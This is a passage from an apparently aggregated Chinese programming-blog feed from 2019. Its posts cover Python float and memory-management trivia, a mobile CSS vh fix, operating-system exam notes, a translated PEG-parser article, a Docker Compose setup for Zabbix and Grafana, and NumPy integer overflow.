在下一篇文章中,我将展示如何实现各种 PEG 功能,如可选条目、重复和前瞻。(说句公道话,我本打算把那放在这篇里,但是这篇已写太长了,所以我要把它分成两部分。)
本文内容与示例代码的授权协议:CC BY-NC-SA 4.0

September 27, 2019 12:00 AM

September 21, 2019

pythoncat

Python 浮点数的冷知识

本周的PyCoder's Weekly 上分享了一篇小文章,它里面提到的冷知识很有意思,我稍作补充,分享给大家。
它提到的部分问题,读者们可以先思考下:
  • 若两个元组相等,即 a==b 且 a is b,那么相同索引的元素(如 a[0] 、b[0])是否必然相等呢?
  • 若两个对象的 hash 结果相等,即 hash(a) == hash(b),那么它们是否必然相等呢?
答案当然都为否(不然就不叫冷知识了),大家可以先尝试回答一下,然后再往下看。
-----思考分割线-----
好了,先来看看第一个问题。两个相同的元组 a、b,它们有如下的关系:
>>> a = (float('nan'),)
>>> b = a
>>> a   # (nan,)
>>> b   # (nan,)

>>> type(a), type(b)
(<type 'tuple'>, <type 'tuple'>)

>>> a == b
True

>>> a is b  # 即 id(a) == id(b)
True

>>> a[0] == b[0]
False
以上代码表明:a 等于 b(类型、值与 id 都相等),但是它们的对位元素却不相等。
两个元组都只有一个元素(逗号后面没有别的元素,这是单元素的元组的表示方法,即 len(a)==1 )。float() 是个内置函数,可以将入参构造成一个浮点数。
为什么会这样呢?先查阅一下文档,这个内置函数的解析规则是:
sign           ::=  "+" | "-"
infinity       ::=  "Infinity" | "inf"
nan            ::=  "nan"
numeric_value  ::=  floatnumber | infinity | nan
numeric_string ::=  [sign] numeric_value
它在解析时,可以解析前后的空格、前缀的加减号(+/-)、浮点数,除此之外,还可以解析两类字符串(不区分大小写):“Infinity”或”inf”,表示无穷大数;“nan”,表示不是数(not-a-number),确切地说,指的是除了数以外的所有东西。
前面分享的第一个冷知识就跟“nan”有关,作为整体,两个元组相等,但是它们唯一的元素却不相等。之所以会这样,因为“nan”表示除了数以外的东西,它是一个范围,所以不可比较。
作为对比,我们来看看两个“无穷大的浮点数”是什么结果:
>>> a = (float('inf'),)
>>> b = a
>>> a   # (inf,)
>>> b   # (inf,)

>>> a == b  # True
>>> a is b  # True
>>> a[0] == b[0]  # True
注意最后一次比较,它跟前面的两个元组恰好相反,由此,我们可以得出结论:两个无穷大的浮点数,数值相等,而两个“不是数的东西”,数值不相等。
化简一下,可以这样看:
>>> a = float('inf')
>>> b = float('inf')
>>> c = float('nan')
>>> d = float('nan')

>>> a == b  # True
>>> c == d  # False
以上就是第一个冷知识的揭秘。接着看第二个:
>>> hash(float('nan')) == hash(float('nan'))
True
前面刚说了两个“不是数的东西”不相等,这里却显示它们的哈希结果相等,这挺违背常理的。
我们可以推理出一条简单的结论:不相等的两个对象,其哈希结果可能相等。
原因在于,hash(float(‘nan’)) 的结果等于 0,它是个固定值,作比较时当然就相等了。
其实,关于 hash() 函数,还埋了一个彩蛋:
>>> hash(float('inf'))  # 314159
>>> hash(float('-inf')) # -314159
有没有觉得这个数值很熟悉啊?它正是圆周率的前五位 3.14159,去除小数点后的结果。在早期的 Python 版本中,负无穷大数的哈希结果其实是 -271828,正是取自于自然对数 e。这两个数都是硬编码在 Python 解释器中的,算是某种致敬吧。
由于 float(‘nan’) 的哈希值相等,这通常意味着它们不可以作为字典的不同键值,但是事实却出人意料:
>>> a = {float('nan'): 1, float('nan'): 2}
>>> a
{nan: 1, nan: 2}

# 作为对比:
>>> b = {float('inf'): 1, float('inf'): 2}
>>> b
{inf: 2}
如上所示,两个 nan 键值在表示上一模一样(注意,它们没有用引号括起来),它们可以共存,而 inf 却只能归并成一个,再次展示出了 nan 的神奇。
好了,两个很冷的小知识分享完毕,背后的原因都在于 float() 取浮点数时,Python 允许了 nan(不是数)的存在,它表示不确切的存在,所以导致了这些奇怪的结果。
最后,我们作下小结:
  • 包含 float(‘nan’) 的两个元组,当做整体作比较时,结果相等;两个相等的元组,其对位的元素可能不相等
  • float(‘nan’) 表示一个“不是数”的东西,它本身不是确定值,两个对象作比较时不相等,但是其哈希结果是固定值,作比较时相等;可用作字典的键值,而且是不冲突的键值
  • float(‘inf’) 表示一个无穷大的浮点数,可看作确定的值,两个对象做比较时相等,其哈希结果也相等;可用作字典的键值,但是会产生冲突
  • float(‘nan’) 的哈希结果为 0,float(‘inf’) 的哈希结果为 314159
参考资料:

September 21, 2019 12:00 AM

September 17, 2019

2heng

解决移动端浏览器 vh 单位异常问题

在做一个响应式布局时用 vh 单位定义了元素的高度,结果在发现在移动端的 Chrome 和 Firefox 浏览器中,浏览器 URL 栏显示的情况下元素都出现了错位。

查找到原因是移动端下浏览器对 100vh 的定义不考虑 URL 栏的高度(无论 URL 栏显示还是隐藏),可以用下面这张图直观地体现问题:

左侧是我们期望的 100vh “全屏”的高度,但右侧是 URL 栏显示的状态下“全屏”的高度,100vh 在这时已经超出了“全屏”高度。

对此,Google 官方有说明bugzilla 有相关报告,但是对于我们解决问题没有任何帮助。

目前找到最好的解决方案是项目:

[github repo="Hiswe/vh-check"]

JS 执行过一次初始化 vhCheck() 后,就可以直接用 CSS 变量 --vh-offset 修正 100vh 了。

用法:

npm install vh-check
import vhCheck from 'vh-check'
vhCheck()
main {
  height: 100vh;
  /* 兼容不支持 var 变量的浏览器 (<= IE11) */
  height: calc(100vh - var(--vh-offset, 0px));
  /* 修正后的 100vh */
}

The post 解决移动端浏览器 vh 单位异常问题 appeared first on 樱花庄的白猫.

by Mashiro at September 17, 2019 04:30 PM

September 13, 2019

pythoncat

Python 为了提升性能,竟运用了共享经济

大家或许知道,Python 为了提高内存的利用效率,采用了一套共用对象内存的分配策略。
例如,对于那些数值较小的数字对象([-5, 256])、布尔值对象、None 对象、较短的字符串对象(通常 是 20)等等,字面量相等的对象实际上是同一个对象。
# 共用内存地址的例子
a = 100
b = 100
s = "python_cat"
t = "python_cat"

id(a) == id(b) # 结果:True
id(s) == id(t) # 结果:True
我很早的时候曾写过一篇《Python中的“特权种族”是什么?》,把这些对象统称为“特权种族”,它们是 Python 在内存管理机制上使用的优化技巧。
前不久,我还写了一篇《Python 内存分配时的小秘密》,也是介绍内存管理的技巧。
这两篇文章有所区别:旧文主要涉及了内存共用与对象驻留的机制,而新文介绍的是内存分配、动态扩容以及内存回收的相关机制。
它们令我不由自主地想到两个词:共享经济与供需平衡。
如果你没有读过那两篇文章,我强烈建议你先回看一下,然后再看看我的联想是否有道理:那几类特权种族对象其实是在共享内存,表面上的不同对象,其实是在循环利用;至于供需平衡也好理解,创建某些对象时,按照预期的诉求去分配内存,在扩容时则灵活调节,达到了供需之间的平衡。
透过现象看本质,Python 可以很有趣。
但是,Python 的有趣之处还不止于此,本文要继续分享另一种内存管理机制,在某种程度上,它实现了共享经济与供需平衡的融合,我们从中可揭开 Python 的另一重身份……

1、不可变对象的共享经济

上面列出的”特权种族”都是不可变对象(而“供需平衡”主要出现于可变对象),对于这些不变的对象,当出现多处使用时,共用一个对象似乎是种不错的优化方法。
我曾有一种猜想:Python 的不可变对象都可能是特权种族。
我没有试图去完全证实它,本文只想考察其中一种不可变对象:元组。它是不可变对象,那么,是否有共用对象的机制呢?
下面把它跟列表作一下对比:
# 空对象的差别
a = []
b = []
c = ()
d = ()

print(id(a)==id(b))  # 结果:False
print(id(c)==id(d))  # 结果:True
由此可见,两个空列表是不同的对象,而两个空元组其实是同一个对象。这至少说明了,空元组在内存中只有一个,它属于已提到的特权种族。
将实验延伸到集合与字典,它们是可变对象,你会发现结果跟列表一样,存在多个副本,即不是特权种族。我就不举例了。
由上述的实验结果,还能引出两个问题,但是它们偏离了本文主题,我不打算深入辨析,简单列一下:
  • 除了空元组,还有什么样的元组是“特权种族”?(PS:从元素的数量、类型、元素自身的大小考虑,就我小范围试验,还没发现。所以,空元组是独特的唯一?)
  • 编译期与运行期有所区别,这在之前写字符串的 intern 机制时(《Intern机制的软肋》)也分析过。(PS:print(id([]) == id([])),结果为 True,与上例先赋值再比较不同。)

2、可变对象的共享经济

空元组体现了共享经济,但由于它是不可变对象,所以不存在动态扩容,就只体现了极少的供需平衡。
作为对照,列表等可变对象充分表现了供需平衡,却似乎没办法体现共享经济。
比如说,我们把一个列表想象成一个可自增的杯子(毕竟它是某种容器),再把它的元素想象成不同种类的液体(水、可乐、酒……)。
那么,我们的问题是:两杯东西是否可以共享为一个对象呢?或者说,有没有可能共享那只杯子呢?这样就可以节省内存(在那篇讲小秘密的文章中展示过:“空杯子”占用的内存可不少),提升效率啦。
对于第一个问题,答案为否,验证过程略。对于第二个问题,在上一节中,我们已验证过两个空杯子(即空列表),答案也为否。
但是,第二个问题还有其它的可能!下面让我们换一种实验方法:
# 实验版本:Python 3.6.1
a = [[] for i in range(4)]
print(id(a))

for i in range(len(a)):
    print(f'{i} -- {id(a[i])}')
    # a[i] = 1 # PS:可去除注释,再执行一次,结果的顺序有差别

del a
print("after del")

b = [[] for i in range(4)]
print(id(b))

for i in range(len(b)):
    print(f'{i} -- {id(b[i])}')
以上代码在不同环境中,执行结果可能有所差异。我执行的一次结果如下:
2012909395656
0 -- 2012909395272
1 -- 2012909406472
2 -- 2012909395208
3 -- 2012909395144
after del
2012909395656
0 -- 2012909395272
1 -- 2012909406472
2 -- 2012909395208
3 -- 2012909395144
分析结果可知:列表对象在被回收之后,并不会彻底消除,它的内存地址会传递给新创建的列表,也就是说,新创建的列表其实共享了旧列表的内存地址!
再结合前面的例子,我们可以说,先后静态创建的两个列表会分配不同的内存地址,但是,经过动态回收之后,先后创建的列表可能是同一个内存地址!(注意:这里说的是“可能”,因为在新列表创建前,若有其它地方也在创建列表,那后者可能夺去先机。)
延伸到其它基本的可变对象,例如集合与字典,也有同样的共享策略,其目的显而易见:循环利用这些对象的“残躯”,可以避免内存碎片,提高执行性能。
共享一只杯子,总比重新创造一只杯子,要更高效便捷,对吧?
Python 解释器在实现这个机制时,使用了一个叫做free_list 的全局变量,其工作原理是:
  • 当创建新的对象时,则检查 free_list 内是否有可用对象,有则取出使用,没有则创建
  • 当这些对象被析构时,则检查 free_list 是否有剩余空间,有则存入其中
  • 某类对象存入 free_list 时,只保留“躯壳”,而清空其内部所有的元素(即只共享杯子,不共享杯中物)
好了,现在我们可以说,列表、集合与字典这些可变对象,它们都不是前文所说的特权种族,但是,在它们背后都藏着循环使用的共享思想,这一点却是相通的。
Python 解释器在内存管理上真是煞费苦心啊,在那些司空见惯的基本对象上,它施加了诸多的小魔法,在我们毫不觉察的时候,它们有条不紊地运作,而当我们终于见识清楚后,就不得不感叹它的精妙了。
Python 算得上是一个精打细算的“经济学家”了。
回顾全文,最后作一个小结:
  • 较小的数字、较短的字符串、布尔值与空元组等不可变对象,它们存在着“共享经济”的机制,提升了内存的使用效率
  • 列表、集合与字典等可变对象,它们存在着预分配及超额分配等“供需平衡”的机制,提升了内存的分配效率
  • 列表等对象还存在着共享“容器外壳”的机制,循环利用空闲资源,综合提升程序性能
PS:本文写作过半时,我觉得应该把它写入“喵星来客”系列,但思前想后,最终作罢了(主要是懒)。它们的思辨力及洞察力是一脉相承的,若你喜欢本文的话,我推荐阅读“喵星来客”系列(其中两篇):

September 13, 2019 12:00 AM

September 12, 2019

anji66

[软考]操作系统基础——文件管理

文件的逻辑结构

文件的逻辑组织是为了方便用户使用。一般文件的逻辑结构可以分为两种:无接口的字符流文件和有建构的记录文件。记录文件由记录组成,即文件内的信息划分成多个记录,以记录为单位组织和使用信息。


记录文件分顺序文件、索引顺序文件、索引文件和直接文件

1、顺序文件。大多数文件是顺序文件。顺序文件的记录定长,记录中的数据项的类型长度和次序固定,一般还有一个可以唯一标识记录的数据项,成为键(key),记录是按键值的约定次序组织的。顺序文件常用于批处理应用,对于查询或更新某个记录的处理性能不太好。

2、直接文件。直接文件又称哈希(Hash)文件。记录以它们在直接访问存储设备上的物理地址直接(随机的)访问。直接文件常用于需要高速访问文件而且每次仅访问一条记录的应用中。


文件的物理结构

文件的物理结构是指文件在存储设备上的存放方法。文件的物理结构侧重于提高存储器的利用效率和降低存取时间。文件的存储设备通常划分为大小相同的物理块,物理块是分配和传输信息的基本单位。文件的结构涉及文件存储设备的组块策略和文件分配策略,决定文件信息在存储设备上的存储位置。常用的文件分配策略有:

1、顺序分配(连续分配)。

2、链接分配(串联分配)

3、索引分配。这是另一种对文件存储不连续的分配方法,采用索引分配方法的系统,为每一个文件建立一张索引表,索引表中每一表项指出文件信息所在的逻辑块和与之对应的物理块号。

sy.jpg

文件存储设备管理

位示图法。该方法是在外存上建立一张位示图(Bitmap),记录文件存储器的使用情况。每一位仅对应存储器上的一个物理块,取值0和1分别对应空闲和占用。文件存储器上的物理块依次编号为:0、1、2、3.....。加入系统中字长为32位,有4096个物理块,那么在位示图中的第1个字对应文件存储器上的0-31号物理块,第2个字对应文件存储器上的32-63号物理块,第128字对应存储器上的4064-4095号物理块。这样的位示图的大小为32字。


by 西枫里 at September 12, 2019 02:10 PM

[软考]操作系统基础——设备管理

未标题-1.jpg

一、程序控制方式

分为无条件查询和程序查询方式。

1、无条件传送方式,I/O端口总是准备好接受主机的输出数据,或是总是准备好向主机输入数据,而CPU在需要时,随时直接利用I/O指令访问响应的I/O端口,实现与外设的数据交换。优点是软、硬件结构简单,缺点是对时序要求高,只适用于简单的I/O控制。

2、程序查询方式,也称程序轮询方式,该方式采用用户程序直接控制主机与外部设备之间输入/输出操作。CPU必须不停地循环测试I/O设备的状态端口,当发现设备处于准备好(Ready)状态时,CPU就可以与I/O设备进行数据存取操作。这种方式下的CPU与I/O设备是串行工作的。


二、中断方式

当I/O设备结束(完成、特殊或异常)时,就会向CPU发出中断请求信号,CPU收到信号就可以采取相应措施。当某个进程要启动某个设备时,CPU就向相应的设备控制器发出一条设备I/O启动指令,然后CPU又返回做原来的工作。CPU与I/O设备可以并行工作,与程序查询方式相比,大大提高了CPU的利用率。


三、DMA(直接内存存取)方式

DMA方式也称为直接主存存取方式,其思想是:允许主存储器和I/O设备之间通过“DMA控制器(DMAC)”直接进行批量数据交换,除了再数据传输开始和结束时,整个过程无须CPU的干预。

未标题-2.jpg


四、通道控制方式

在一定的硬件基础上利用软件手段实现对I/O的控制和传送,更多的免去了CPU的介入,使主机和外设并行工作程度更高。


五、I/O处理机

指专门负责输入/输出的处理机。可以有独立的存储器、运算部件和指令控制部件。


by 西枫里 at September 12, 2019 01:51 PM

pythoncat

Python 之父的解析器系列之六:给 PEG 语法添加动作

作者 | Guido van Rossum(Python之父)
译者 | 豌豆花下猫(“Python猫”公众号作者)
声明 | 本翻译是出于交流学习的目的,基于 CC BY-NC-SA 4.0 授权协议。为便于阅读,内容略有改动。
如果你在语法规则中还可以添加(某些)语义,那么语法就会更好。特别是对于我正在构建的 Python 解析器,我需要控制每个备选项返回的 AST 节点,因为 AST 的格式已经规定好。
【这是我的 PEG 系列的第 6 部分。其余部分请参阅系列概述 】(译注:本系列的译文已在 Github 开源,项目地址:https://github.com/chinesehuazhou/guido_blog_translation
许多语法都有支持给规则添加动作的约定,通常是 { 花括号 } 内的一段代码块。更确切地说,行动与备选项相关联。动作块中的代码通常与编写编译器的语言相同,如 C 语言,增加一些工具,用于引用备选项中的条目。在 Python 原始的 pgen 中,我没有添加此功能,但对于这个新项目,我希望使用它。
对于在这一系列博客文章中开发的简化版解析器生成器,下面是我们采用的做法。
一般而言,动作的语法如下:
rule: item item item { action 1 } | item item { action 2 }
因为它会使语法变得冗长,所以解析器生成器通常支持跨行分割规则,例如:
rule: item item item { action 1 }
    | item item { action 2}
它会使语法分析器变得复杂,但可读性更重要,所以我会使用这种方式。
一个永恒的问题是何时执行动作块。在 Yacc / Bison 中,因为没有回溯,一旦规则被解析器识别到,就会执行动作块。每个动作会立即执行,这意味着即使操作具有全局副作用,还是会顺利执行(例如更新符号表或其它编译器数据结构)。
在 PEG 解析器中,因为有无限回溯,我们有其它的选择:
  • 延迟所有动作,直到解析完所有内容。这对我的目的没有用,因为我想在解析期间构造一个 AST。
  • 只要识别出动作所对应的备选项就执行之,但要求操作代码是幂等的(即无论执行多少次,都具有相同的效果)。这意味着可以执行某个动作,但其结果最终会被丢弃。
  • 缓存动作的结果,因此只有第一次在给定位置识别到备选项时,对应的动作才执行。
我要采用第三个选项——正好我们用 packrat 算法缓存东西,所以我们也可以缓存动作的结果。
关于 {花括号} 里面的内容,传统上是使用 C 语言,它约定用 $ 符号来引用已识别的备选项(例如,$1 引用第一个条目),并赋值给 $$ 以指示动作的结果。
在我看来这太老古董了(我记得曾在 Algol-60 中使用对函数名的赋值,来指定返回值),所以我会用一些更 Pythonic 的方式:在括号内,你需要放置一个单一的表达式,它的值是动作的值,而条目的引用则是一些简单的名称,给出着条目的文本。
举个例子,这是一个简单的计算器,可以作加减法:
start: expr NEWLINE { expr }
expr: expr '+' term { expr + term }
    | expr '-' term { expr - term }
    | term { term }
term: NUMBER { float(number.string) }
当我们运行时,给定输入 100+50-38-70 ,它会识别出各部分并计算答案,计算成((100+50)-38)-70 ,当然得出结果为 42。
一个小细节:在term 的动作中,变量number 保存了一个TokenInfo 对象,因此该动作必须使用其.string 属性来获取字符串形式的标识符。
当一个备选项中多次出现相同的规则名称时,我们该怎么办?对同一备选项中出现的规则,解析器生成器会给出唯一的名称,即在随后出现的规则上添加 1、2 等等。例如:
factor: atom '**' atom { atom ** atom1 }
      | atom { atom }
它的实现很无聊,所以我请你们 check out 代码 ,自己看看。试试这个:
python3.8 -m story5.driver story5/calc.txt -g story5.calc.CalcParser
可视化功能现在支持使用左右箭头键来回移动!
本文内容与示例代码的授权协议:CC BY-NC-SA 4.0

September 12, 2019 12:00 AM

September 11, 2019

anji66

[软考]操作系统基础——存储和分区

存储管理

逻辑地址:CPU所生成的地址。逻辑地址是内部和编程使用的、并不唯一。例如,你再进行C语言指针编程中,可以读取指针变量本身值(&操作),实际上这个值就是逻辑地址,塔是相对于你当前进程数据的地址(偏移地址),不和绝对武力地址想干。

物理地址:加载到内存地址寄存器中的地址,内存单元的真正地址。


静态重定位:是在程序执行之前进行重定位,它根据装配模块将要装入的内存起始位置,直接修改装配模块中的有关使用地址的指令。

静态重定位的优缺点:静态重定位有着无需硬件支持的优点,但存在着如下的缺点:一是程序重定位之后就不能在内存中搬动了,二是要求程序的存储空间是连续的,不能把程序放在若干个不连续的区域内。

动态重定位:是指不是在程序执行之前而是在程序执行过程中进行地址重定位,更确切的说实在CPU每次访问内存单元前才进行地址变换。

动态重定位的优缺点:优点是1、程序占用的内存空间动态可变,不必连续存放在一处。2、比较容易实现几个进程对同一程序副本的共享使用。缺点是需要附加的硬件支持,增加了机器成本,而且实现存储管理的软件算法比较复杂。现在一般计算机系统中都采用动态重定位方法。


分区管理

固定分区:静态分区,作业装入之前划分,大小固定,内存利用率不高。

可变分区:动态分区,碎片多。首次适应算法、最佳适应算法、最坏适应算法。

可重定位分区:合并零散空间

未标题-1.jpg


分页管理

未标题-2.jpg


分段存储管理

未标题-3.jpg


段页式存储管理

未标题-4.jpg


by 西枫里 at September 11, 2019 02:04 PM

September 10, 2019

2heng

Docker 部署 Zabbix + Grafana

两年前在服务器上放了一套 Grafana + Zabbix + Prometheus 的监控系统,当时是照着文档和网上各路教程一个一个编译的,插件和配置文件丢得七零八落,很难维护,故这几天借迁移服务器的机会,改用 Docker 安装,基本只用一个配置文件,今后随时可以一键部署。目前写好了 MySQL + Grafana + Zabbix-Server + Zabbix-Agent 的配置,Prometheus(以前主要用来监控 MySQL)暂时还没做,以后补上。

grafana.png

安装 Docker

文档安装即可,不再赘述。

Dockers 部署

version: '1.0'

services:
  # zabbix-server 容器配置
  server:
    image: zabbix/zabbix-server-mysql:latest
    container_name: zabbix-server
    depends_on:
     - mysql
     - agent
    environment:
      TZ: Asia/Shanghai
      DB_SERVER_HOST: "mysql"
      MYSQL_DATABASE: "zabbix"
      MYSQL_USER: "zabbix"
      MYSQL_PASSWORD: "zabbix_pwd"
      MYSQL_ROOT_PASSWORD: "root_pwd"
    ports:
     - "10051:10051"
    volumes:
     - /etc/localtime:/etc/localtime:ro
    links:
     - mysql:zabbix-mysql
     - agent:zabbix-agent
    user: root
    networks:
      zabbixbr:
        ipv4_address: 172.20.0.6
    restart: always

  # zabbix-agent 容器配置
  agent:
    image: zabbix/zabbix-agent:latest
    container_name: zabbix-agent
    privileged: true
    ports:
     - "10050:10050"
    volumes:
     - /etc/localtime:/etc/localtime:ro
    user: root
    networks:
      zabbixbr:
        ipv4_address: 172.20.0.5
    restart: always

  # zabbix web 环境容器配置
  web:
    image: zabbix/zabbix-web-nginx-mysql:latest
    container_name: zabbix-web
    depends_on:
     - mysql
     - server
    environment:
      TZ: Asia/Shanghai
      DB_SERVER_HOST: "mysql"
      ZBX_SERVER_HOST: "server"
      MYSQL_DATABASE: "zabbix"
      MYSQL_USER: "zabbix"
      MYSQL_PASSWORD: "zabbix_pwd"
      MYSQL_ROOT_PASSWORD: "root_pwd"
    volumes:
     - /etc/localtime:/etc/localtime:ro

    links:
      - mysql:zabbix-mysql
      - server:zabbix-server
    ports:
     - "90:80"
    user: root
    networks:
      zabbixbr:
        ipv4_address: 172.20.0.4
    restart: always 

  # mysql 容器配置
  mysql:
    image: mysql:5.7
    container_name: zabbix-mysql
    command: --character-set-server=utf8 --collation-server=utf8_general_ci
    environment:
      TZ: Asia/Shanghai
      MYSQL_DATABASE: "zabbix"
      MYSQL_USER: "zabbix"
      MYSQL_PASSWORD: "zabbix_pwd"
      MYSQL_ROOT_PASSWORD: "root_pwd"     
    networks:
      zabbixbr:
        ipv4_address: 172.20.0.3
    volumes:
     # 数据库 volume 路径:/home/data,根据自己需求调整
     - /home/data/zabbix/database/mysql:/var/lib/mysql
     - /etc/localtime:/etc/localtime:ro
    restart: always

  # Grafana 容器配置
  grafana:
    image: grafana/grafana:latest
    container_name: zabbix-grafana
    environment:
     TZ: Asia/Shanghai
     # 下面填写你想安装的插件,多项逗号分隔,当然也可以直接把插件上传到下面的 volume 中
     GF_INSTALL_PLUGINS: alexanderzobnin-zabbix-app
     # 挂载储存用的 volume,映射到宿主目录 /var/lib/docker/volumes 下
    volumes:
      # 插件和 Grafana 的用户配置数据放这里面
      - grafana-storage:/var/lib/grafana
      # grafana.ini 配置文件在里面
      - grafana-etc:/etc/grafana
    ports:
      - "3000:3000"
    networks:
      zabbixbr:
        ipv4_address: 172.20.0.2
    restart: always

# 创建 stack 内用的容器
volumes:
  grafana-storage:
  grafana-etc:

# stack 内网配置
networks:
  zabbixbr:
    driver: bridge
    ipam:
     config:
       - subnet: 172.20.0.0/16
         # 内网网关
         gateway: 172.20.0.1

把整套系统部署到一个 stack 中,所有组建间通信通过内网完成,注意容器内访问使用各自的内网 IP 172.20.0.x,容器内使用 127.0.0.1localhost 是无效的!

保存以上配置文件为 docker-compose.yml

现在先 pull 要用到的镜像:

docker pull mysql:5.7
docker pull zabbix/zabbix-server-mysql:latest
docker pull zabbix/zabbix-agent:latest
docker pull zabbix/zabbix-web-nginx-mysql:latest
docker pull grafana/grafana:latest

然后运行 docker compose:

docker-compose up -d
docker-compose ps

看到下面的输出就 OK 了!
docker.png

配置 Zabbix

之后访问 http://你的公网IP或者localhost:90/ 配置 Zabbix,登陆 ID:Admin、密码:zabbix。

依次打开 Configuration > Hosts > Zabbix server,Agent interfaces 中 IP 改为 172.20.0.5,Update 即可,返回 Hosts 列表,过几分钟刷新,看到 Zabbix server 的 Availability 标签 ZBX 变成绿色就说明 zabbix-server + zabbix-agent 部署成功了。

配置 Grafana

访问 http://你的公网IP或者localhost:3000/,登陆 ID:admin、密码:admin。

启用 Zabbix,然后创建 Zabbix 数据源(data source),URL 填写 http://你的公网IP或者localhost:90/api_jsonrpc.php,账号密码是刚刚的 Zabbix 账号密码,保存之后测试通过就说明 Grafana 已经连上 Zabbix 了,之后就可以 DIY 你的面板了!

The post Docker 部署 Zabbix + Grafana appeared first on 樱花庄的白猫.

by Mashiro at September 10, 2019 06:20 AM

pythoncat

Python 的整数与 Numpy 的数据溢出

某位 A 同学发了我一张截图,问为何结果中出现了负数?
看了图,我第一感觉就是数据溢出了。数据超出能表示的最大值,就会出现奇奇怪怪的结果。
然后,他继续发了张图,内容是 print(100000*208378),就是直接打印上图的 E[0]*G[0],结果是 20837800000,这是个正确的结果。
所以新的问题是:如果说上图的数据溢出了,为何直接相乘的数却没有溢出?
由于我一直忽视数据的表示规则(整型的上限是多少?),而且对 Numpy 了解不多,还错看了图中结果,误以为每一个数据都是错误的,所以就解答不出来。
最后,经过学习群里的一番讨论,我才终于明白是怎么回事,所以本文把相关知识点做个梳理。
在正式开始之前,先总结一下上图会引出的话题:
  • Python 3 中整数的上限是多少?Python 2 呢?
  • Numpy 中整数的上限是多少?出现整数溢出该怎么办?
关于第一个问题,先看看 Python 2,它有两种整数:
  • 一种是短整数,也即常说的整数,用 int 表示,有个内置函数 int()。其大小有限,可通过sys.maxint() 查看(取决于平台是 32 位还是 64 位)
  • 一种是长整数,即大小无限的整数,用 long 表示,有个内置函数 long()。写法上是在数字后面加大写字母 L 或小写的 l,如 1000L
当一个整数超出短整数范围时,它会自动采用长整数表示。举例,打印 2**100 ,结果会在末尾加字母 L 表示它是长整数。
但是到了 Python 3,情况就不同了:它仅有一种内置的整数,表示为 int,形式上是 Python 2 的短整数,但实际上它能表示的范围无限,行为上更像是长整数。无论多大的数,结尾都不需要字母 L 来作区分。
也就是说,Python 3 整合了两种整数表示法,用户不再需要自行区分,全交给底层按需处理。
理论上,Python 3 中的整数没有上限(只要不超出内存空间)。这就解释了前文中直接打印两数相乘,为什么结果会正确了。
PEP-237(Unifying Long Integers and Integers)中对这个转变作了说明。它解释这样做的 目的:

这会给新的 Python 程序员(无论他们是否是编程新手)减少一项上手前要学的功课。

Python 在语言运用层屏蔽了很多琐碎的活,比如内存分配,所以,我们在使用字符串、列表或字典等对象时,根本不用操心。整数类型的转变,也是出于这样的便利目的。(坏处是牺牲了一些效率,在此就不谈了)
回到前面的第二个话题:Numpy 中整数的上限是多少?
由于它是 C 语言实现,在整数表示上,用的是 C 语言的规则,也就是会区分整数和长整数。
有一种方式可查看:
import numpy as np

a = np.arange(2)
type(a[0])

# 结果:numpy.int32
也就是说它默认的整数 int 是 32 位,表示范围在 -2147483648 ~ 2147483647。
对照前文的截图,里面只有两组数字相乘时没有溢出:100007*4549、100012*13264,其它数据组都溢出了,所以出现奇怪的负数结果。
Numpy 支持的数据类型要比 Python 的多,相互间的区分界限很多样:
要解决整数溢出问题,可以通过指定 dtype 的方式:
import numpy as np

q = [100000]
w = [500000]

# 一个溢出的例子:
a = np.array(q)
b = np.array(w)
print(a*b)  # 产生溢出,结果是个奇怪的数值

# 一个解决的例子:
c = np.array(q, dtype='int64')
d = np.array(w, dtype='int64')
print(c*d) # 没有溢出:[50000000000]
好了,前面提出的问题就回答完了。来作个结尾吧:
  • Python 3 极大地简化了整数的表示,效果可表述为:整数就只有一种整数(int),没有其它类型的整数(long、int8、int64 之类的)
  • Numpy 中的整数类型对应于 C 语言的数据类型,每种“整数”有自己的区间,要解决数据溢出问题,需要指定更大的数据类型(dtype)

September 10, 2019 12:00 AM

September 07, 2019

pythoncat

为什么要翻译?值得坚持下去么?

自从去年 12 月翻译了第一篇文章以来,我累计翻译了 14 篇文章。
这个数字说多不多,说少也不少,本来没有什么特殊意义,但是在阶段性回顾时,却显得耐人寻味——勉强可以凑出这个数字:1.55555 篇/月。
主要是翻译了两个系列:一个是 Python 之父的解析器系列,6 篇;还一个是 PEP(Python 增强提案)系列,4 篇。
我都集结起来,传到 Github 上了:
# Guido 的解析器系列
https://github.com/chinesehuazhou/guido_blog_translation

# PEP 系列(加上别人翻译的,共有 16 篇)
https://github.com/chinesehuazhou/peps-cn
围绕翻译的文章,有一些故事,我都另外写过文章(本篇也算在内),如此一看,没想到【翻译】话题竟成为了我们公众号里分量很重的一块了。
闲来无事,我想跟大家聊聊:为什么我会开始翻译文章?过程中,有些什么感悟?
我很早就明白一点:相比其它职业,英语对于程序员来说显得极为重要(这应该不用多解释吧?)所以,当我在考虑如何给公众号填入更多有价值的内容时,就想着去转载一些外文博客。
早期时,我尝试转载了一些,但是后来没有坚持,反而倾向于自己翻译(或者转载别人翻译好的)。出现这个转变的主要原因是:
  • 英语文章在公众号里排版太难搞,阅读体验太差了
  • 缺少比较好的辅助工具,阅读门槛较高
  • 阅读量与互动的情况不容乐观,受众比较少
第一点是最大的排斥力,因为我对公众号的排版有些微的强迫症(曾经想转一篇文章,因调整排版,前后花了半个小时,效果还不理想,最后放弃),此外,自己去翻译,还有一些好处:
  • 翻译过程可以加深对内容的理解
  • 翻译有助于提升阅读理解力、文字转述力
  • 翻译是一个积极的劳动过程,带来成就感
  • 我认为它值得被翻译,却还没人去翻,那我就试试看吧
一斥一拉,我就选择自己去翻译了。
在翻译过程中,我主要借助的工具是谷歌翻译和有道词典,它们帮了很大的忙。
很多时候,我觉得机翻得不错,就不加调整,但更多时候,某些长句或跨频用法使我们都很为难。
如果要追求十分完美的话,我大概是一篇文章都翻不完的。所以,每次点击发布的时候,我都带着对自己能力不足的认知,怀着层积改进的希望,纵容着“先做成一件事再说,万丈高楼平地起 ”的乐观心态。
这不是自谦,就在最近翻译解析器系列的时候,为了赶进度,我完全都没有细看代码,很多译处完全是模棱两可,大有不负责任的苗头。(自责一分钟……)
不管怎么说,翻译这些文章,我觉得有其价值,自己收获良多(希望因此受益的同学也足够多),会一直坚持下去。
闲聊结束。
顺道呼吁一下(好啦,我承认这才是本文的真实目的),如果你也有参与翻译的想法,欢迎一起翻译解析器系列或 PEP 系列,前文有项目地址。给个 star 也够,提出 issue 和建议最好!
敢于相信有美好的事物在等待
关于翻译,我还聊过:

September 07, 2019 12:00 AM

September 06, 2019

anji66

[软考]操作系统基础

操作系统功能

1、处理机管理

2、存储器管理

